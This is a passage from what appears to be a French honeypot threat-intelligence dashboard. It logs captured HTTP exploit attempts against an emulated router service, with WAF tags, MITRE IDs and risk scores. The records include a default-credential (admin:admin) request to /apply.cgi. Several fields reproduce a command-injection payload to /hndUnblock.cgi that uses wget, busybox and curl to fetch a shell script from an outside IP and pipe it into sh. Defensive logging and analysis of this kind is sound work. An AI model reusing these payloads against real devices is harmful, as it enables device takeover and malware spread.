"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 350\r\nConnection: close\r\n\r\nsubmit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&act",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "70632b338127dee51d9953a34b0c21d6df0d9a57",
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_auth_header_token",
"http_basic_auth",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:04 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /apply.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /apply.cgi
Émulateur
HTTP
WAF
34
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950347:rce-5
950407:ssrf-3
Cible HTTP
POST
/apply.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/apply.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
CRS 932205
Ligne de requête
POST /apply.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /apply.cgi HTTP/1.1
Host: 62.3.50.33:8081
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-url
Requête brute (extrait)
POST /apply.cgi HTTP/1.1 Host: 62.3.50.33:8081 Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 334 Connection: close change_action=&submit_button=Basic&action=&commit=0&wan_ip=10.0.0.1&wan_mask=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "31402cc48ac7ac052e1d50fc94349665a12c2c45",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 513,
"payload_entropy": 5.371856273522132,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "1c5dcf3e0abf2bbffb5e61322e8d6db5b1633b92",
"event_fingerprint": "776ffb2a7499e20a6aef854f832a2ad0b7b0ea31",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"CRS 932205"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0146"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5d1dd1b2ab0be30667e26d4dcc8c51f1",
"path_pattern_hash": "b3e1dfd605a877958cebee595444f5d1"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 334\r\nConnection: close\r\n\r\nchange_action=&submit_button=Basic&action=&commit=0&wan_ip=10.0.0.1&wan_mask=",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"evidence": {
"method": "POST",
"path": "\/apply.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/apply.cgi HTTP\/1.1",
"request_sample": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 334\r\nConnection: close\r\n\r\nchange_action=&submit_button=Basic&action=&commit=0&wan_ip=10.0.0.1&wan_mask=",
"payload_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cf8a32e75b13c4986b5412d104ddaf1b1cb7dd8b",
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/apply.cgi",
"request_line": "POST \/apply.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/apply.cgi",
"evidence_snippet": "POST \/apply.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application\/x-www-form-url",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950407:ssrf-3",
"950471:nosqli-3",
"http_auth_header_token",
"http_basic_auth",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:03 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20w…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20…
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhab…
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60 HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20h
Requête brute (extrait)
GET /hndUnblock.cgi?ttcp_ip=-h%20%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lhablk%60 HTTP/1.1 Host: 6
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "875060f63f6f9b01b3fa72fee9673a1d2beb64f6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 293,
"payload_entropy": 5.130705142337301,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 10,
"anomaly_count": 1,
"campaign_key": "86edc1121ce6e69577a4766b6494c1ef34c5a689",
"event_fingerprint": "d53ed1432749f4f37be86079de583b16121fc868",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "4beb4156032c0cba1982095a899fe13b",
"path_pattern_hash": "7e7da887259ec686429949e3a182bb9c"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60",
"query_string": "ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60 HTTP\/1.1",
"payload_snippet": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20h",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60",
"query_string": "ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60 HTTP\/1.1",
"request_sample": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhablk%60 HTTP\/1.1\r\nHost: 6",
"payload_snippet": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20h",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "176aeb3d825b829d1757eecde496cf8a468d6cfc",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhab\u2026",
"request_line": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20h",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20w\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lhab\u2026",
"request_line": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bcurl%20http:\/\/91.\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20w\u2026",
"evidence_snippet": "GET \/hndUnblock.cgi?ttcp_ip=-h%20%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lhablk%3Bbusybox%20wget%20h",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
